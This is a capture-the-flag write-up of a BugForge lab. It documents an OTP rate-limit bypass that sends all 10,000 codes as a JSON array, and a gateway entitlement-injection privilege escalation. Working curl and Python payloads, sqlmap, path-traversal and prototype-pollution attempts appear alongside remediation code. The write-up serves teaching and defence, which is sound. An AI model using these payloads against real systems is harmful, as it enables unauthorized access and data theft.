Security Labs

CTF and security lab write-ups

← Back

BugForge - MesaNet Access Panel Lab Writeup

Date: 2026-03-20 Difficulty: Hard Platform: BugForge

Executive Summary

Overall Risk Rating: πŸ”΄ Critical

Key Findings:

  1. OTP Bypass via JSON Array Parameter Injection (CWE-287, CWE-799) β€” sending all 10,000 4-digit codes in a single JSON array bypasses rate limiting
  2. Broken Access Control via Gateway Entitlement Override (CWE-639) β€” injecting entitlements field in gateway requests overrides session-based authorization
  3. Weak Credentials (CWE-521) β€” security account uses trivially guessable password
  4. Information Disclosure (CWE-200) β€” dev console exposes full entitlement schema

Business Impact: An attacker can bypass OTP-protected administrative interfaces, then escalate from any authenticated account to full access across all backend services β€” reading confidential research notes, sending classified messages, and accessing personnel records regardless of clearance level.


Objective

Reach the restricted dev application on the MesaNet Access Panel, then continue testing with the information found there.

Initial Access

# Target Application
URL: https://lab-XXXXX.labs-app.bugforge.io (rotates on reset)

# Credentials
operator:operator (L3 clearance)
Auth: Session-based (connect.sid cookie, HttpOnly, 24h expiry)

Key Findings

Critical & High-Risk Vulnerabilities

  1. OTP Bypass via JSON Array Parameter Injection (CWE-287, CWE-799) β€” The /dev/verify endpoint accepts a JSON body where the otp field can be an array. The server iterates over all elements checking each against the current OTP but only counts the request as one attempt against the 10-attempt rate limit. Sending all 10,000 possible 4-digit codes in a single request guarantees a match.

CVSS v3.1 Score for OTP Bypass: 9.8 (Critical)

Metric Value
Attack Vector Network
Attack Complexity Low
Privileges Required None
User Interaction None
Scope Unchanged
Confidentiality High
Integrity High
Availability High
  1. Broken Access Control β€” Entitlement Override via Gateway (CWE-639) β€” The central API gateway at POST /gateway accepts a top-level entitlements field in the request JSON body and passes it directly to backend services. Backend services use this attacker-controlled value instead of the user’s session entitlements.

CVSS v3.1 Score for Entitlement Override: 9.8 (Critical)

Metric Value
Attack Vector Network
Attack Complexity Low
Privileges Required Low
User Interaction None
Scope Changed
Confidentiality High
Integrity High
Availability Low
  1. Weak Credentials (CWE-521) β€” The security user account uses the password security123.

  2. Information Disclosure (CWE-200) β€” The dev console’s /dev/spec endpoint exposes the full internal entitlement structure.

Enumeration Summary

Application Analysis

Target Endpoints Discovered:

Registered App UUIDs

App UUID
Nexus a7f3c4e9-8b2d-4a6f-9c1e-5d8a3b7f2c4e
Mail b3e8d1f6-4c9a-4b2e-8f7d-6a1c9b3e5f8d
Rail c3e8a1f6-4c9a-4b2e-8f6d-6a1c9b3e5f8d
Personnel e5b2c8a3-9d4f-4e1b-8c7a-2f6d1a9e3b5c

Attack Chain Visualization

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Login as operator   β”‚
β”‚  (operator:operator) β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           β”‚
           β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  POST /dev/verify    │────▢│  Send JSON array with all       β”‚
β”‚  OTP bypass          β”‚     β”‚  10,000 codes (0000-9999)       β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚  Rate limiter counts as 1 try   β”‚
           β”‚                 β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Dev Console Access  β”‚
β”‚  /dev                β”‚
β”‚  Read API docs,      β”‚
β”‚  entitlement schema, β”‚
β”‚  app UUIDs           β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           β”‚
           β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  POST /gateway       │────▢│  Inject "entitlements" field in β”‚
β”‚  Entitlement overrideβ”‚     β”‚  request body β€” gateway passes  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚  it to backends as-is           β”‚
           β”‚                 β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Access confidential β”‚
β”‚  notes, mail, and    β”‚
β”‚  personnel data      β”‚
β”‚  Flag returned       β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Attack Path Summary:

  1. Authenticate as operator with provided credentials
  2. Discover OTP-protected /dev endpoint via fuzzing
  3. Bypass OTP by sending all 10,000 codes as a JSON array (counts as 1 attempt)
  4. Enumerate dev console to learn entitlement schema and real app UUIDs
  5. Inject entitlements field into gateway request body to override session permissions
  6. Access confidential data across all services β€” flag returned in response

Exploitation Path

Step 1: Reconnaissance β€” Mapping the Gateway Architecture

After logging in as operator:operator, the dashboard reveals a multi-app internal portal (Nexus, Mail, Rail, Personnel). All API calls route through a single POST /gateway endpoint with a JSON body:

{
  "id": "<app-uuid>",
  "endpoint": "/api/...",
  "data": { ... }
}

Endpoint fuzzing with ffuf identified the registered applications and their API routes. The /dev endpoint was discovered but protected by a 4-digit OTP that rotates every 60 seconds with a 10-attempt rate limit per cycle.

Step 2: OTP Bypass β€” JSON Array Parameter Injection

The /dev/verify endpoint accepts POST with JSON body {"otp": "1234"}. Testing revealed it also accepts an array:

POST /dev/verify
Content-Type: application/json

{"otp": ["0000", "0001", "0002", ..., "9999"]}

The server iterates over every element in the array, checking each against the current OTP. Critically, the entire request counts as one attempt against the rate limit. With all 10,000 possible 4-digit codes in a single request, a match is guaranteed.

# Generate the payload
python3 -c "
import json
codes = [f'{i:04d}' for i in range(10000)]
print(json.dumps({'otp': codes}))
" > /tmp/otp-payload.json

# Send it
curl -s -X POST "$URL/dev/verify" \
  -H "Content-Type: application/json" \
  -b "connect.sid=$COOKIE" \
  -d @/tmp/otp-payload.json \
  -o /dev/null -w "%{http_code}"
# Response: 302 Found. Redirecting to /dev

An HTTP/2 race condition approach (otp-race.py) was also developed to try concurrent individual requests, but the JSON array method was simpler and fully reliable.

Step 3: Dev Console Enumeration

With OTP bypassed, the dev console revealed:

{
  "entitlements": {
    "nexus": {
      "access": true,
      "read": ["public", "restricted", "confidential"],
      "write": ["public", "restricted", "confidential"]
    },
    "mail": {
      "access": true,
      "canSend": true,
      "maxClassification": "confidential"
    }
  }
}

Note: The dev console displays dummy UUIDs (11111111-..., 22222222-...) that are documentation-only and don’t work. The real UUIDs were discovered during earlier endpoint fuzzing.

Step 4: Broken Access Control β€” Entitlement Override via Gateway

The critical vulnerability: the gateway accepts an entitlements field in the top-level request body and passes it to backend services, which use it instead of the user’s session entitlements.

Any authenticated user β€” even the L1 security account with no Nexus access β€” can escalate privileges:

POST /gateway HTTP/1.1
Content-Type: application/json
Cookie: connect.sid=<session>

{
  "id": "a7f3c4e9-8b2d-4a6f-9c1e-5d8a3b7f2c4e",
  "endpoint": "/api/notes/list",
  "data": {},
  "entitlements": {
    "nexus": {
      "access": true,
      "read": ["public", "restricted", "confidential"]
    }
  }
}

This bypasses:

The flag was returned as an extra flag field in the JSON response when the entitlement override was used on the notes/list endpoint.


Flag / Objective Achieved

bug{YjtROkuc4hQW1S8XJ8aV8vxdeqOwaeA4}

Key Learnings


Tools Used


Remediation

1. OTP Bypass via JSON Array (CVSS: 9.8 - Critical)

Issue: The OTP verification endpoint accepts array values for the otp parameter and iterates over all elements while counting the entire request as a single attempt. CWE Reference: CWE-287 - Improper Authentication, CWE-799 - Improper Control of Interaction Frequency Fix:

// BEFORE (Vulnerable)
app.post('/dev/verify', (req, res) => {
  const otp = req.body.otp;
  // If otp is an array, iterates all values but counts as 1 attempt
  const values = Array.isArray(otp) ? otp : [otp];
  for (const val of values) {
    if (val === currentOtp) return res.redirect('/dev');
  }
});

// AFTER (Secure)
app.post('/dev/verify', (req, res) => {
  const otp = req.body.otp;
  // Reject non-string types
  if (typeof otp !== 'string' || !/^\d{4}$/.test(otp)) {
    return res.status(400).json({ error: 'OTP must be a 4-digit string' });
  }
  incrementAttemptCounter(req.session);
  if (otp === currentOtp) return res.redirect('/dev');
});

2. Broken Access Control β€” Gateway Entitlement Override (CVSS: 9.8 - Critical)

Issue: The API gateway forwards the client-supplied entitlements field to backend services, which use it instead of session entitlements. CWE Reference: CWE-639 - Authorization Bypass Through User-Controlled Key Fix:

// BEFORE (Vulnerable)
app.post('/gateway', (req, res) => {
  const { id, endpoint, data, entitlements } = req.body;
  // entitlements from request body passed to backend
  forwardToService(id, endpoint, { data, entitlements, user: req.session.user });
});

// AFTER (Secure)
app.post('/gateway', (req, res) => {
  // Only extract expected fields β€” entitlements come from session
  const { id, endpoint, data } = req.body;
  const entitlements = req.session.user.entitlements;
  forwardToService(id, endpoint, { data, entitlements, user: req.session.user });
});

3. Weak Credentials (CVSS: 5.3 - Medium)

Issue: The security account uses a trivially guessable password (security123). CWE Reference: CWE-521 - Weak Password Requirements Fix: Enforce minimum password complexity requirements and prevent passwords that contain the username.

4. Information Disclosure β€” Entitlement Schema (CVSS: 3.7 - Low)

Issue: The dev console’s /dev/spec endpoint exposes the full internal entitlement structure. CWE Reference: CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor Fix: Remove or restrict the spec endpoint to development environments only.


Failed Attempts

Approach 1: SQL Injection

sqlmap -r req.txt --batch --level=5 --risk=3

Result: Failed - All endpoints use parameterized queries (SQLite). No injection points found.

Approach 2: SSRF via Gateway Endpoint Field

{"id": "<uuid>", "endpoint": "/../../../etc/passwd", "data": {}}

Result: Failed - Gateway enforces /api/ prefix and normalizes path traversal.

Approach 3: Mail IDOR via Gateway

{"id": "<mail-uuid>", "endpoint": "/api/mail/inbox", "data": {"userId": 1}}

Result: Failed - userId check uses server-side session, not overridable through gateway.

Approach 4: OTP Race Condition (HTTP/2 Concurrent Requests)

python3 otp-race.py --url $URL --cookie "$COOKIE" --batch-size 200

Result: Partially worked but unreliable - Server serialized most requests. JSON array method was simpler and 100% reliable.

Approach 5: Prototype Pollution

{"__proto__": {"entitlements": {"nexus": {"access": true}}}}

Result: Failed - Server not vulnerable to prototype pollution.


OWASP Top 10 Coverage


References

Authentication & Access Control:

OWASP Resources:


Tags: #otp-bypass #broken-access-control #entitlement-override #api-gateway #bugforge #json-array-injection